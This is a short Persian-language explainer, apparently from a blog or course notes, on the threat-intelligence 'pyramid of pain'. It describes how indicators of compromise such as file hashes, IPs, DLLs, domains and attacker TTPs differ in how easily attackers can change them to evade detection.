اقلامی که در محموعه  رد پا ها به ثبت رسیده اند به سطوح هرم فوق مرتبط هستند. در پایین تربن سطح، هش فایل ها و پراسس های مورد استفاده در هکینگ است و در بالاترین سطح، کل تکنیک و تاکنیک است . برای مثال مشاهده شده است در یک حمله،  IP  خاصی درگیر بوده است یا از DLL  خاصی سوء استفاده شده است.

ابداع تکنیک و تاکتیک هنر است و پیچیدگی خود را دارد که بعضا برخی از گروههای هکری از ابزار های دیگران استفاده میکنند  و برخی ابزار های  اختصاصی دارند اما باید دانست موفقیت درعملیات هکری ، به دارا بودن تاکنیک و تکنیک و فرآیند(TTP) منحصر بفرد است

در سطوح مختلف هرم،  هر قلم از آن  عیان کننده آلودگی سیستمی است که آن قلم در آن مشاهده شده است . اما آیا هکر نمیتواند قلم اطلاعاتی(رد پا) که از حمله قبلی خود او  کشف شده است را تعویض کند تا ما در کشف او از طریق آن قلم اطلاعاتی مانند نام دامنه در حمله های بعدی ناکام بمانیم ؟

بله . در برخی موارد آسان است در برخی موارد به خون جگر !!

در پایین ترین سطح هرم تقریبا انجام این عمل  آسان است چراکه با کوچکترین تغییر در فایل آلوده، هش آن دستکاری میشود که با  داشته ما متفاوت خواهد بود و لذا در محل  بعدی هکر از دید ما پنهان است .

اما هرچه در هرم  بالاتر برویم تغییر این المان ها برای هکر سخت تر میگردد.

TTP:Tactic Technic Procedure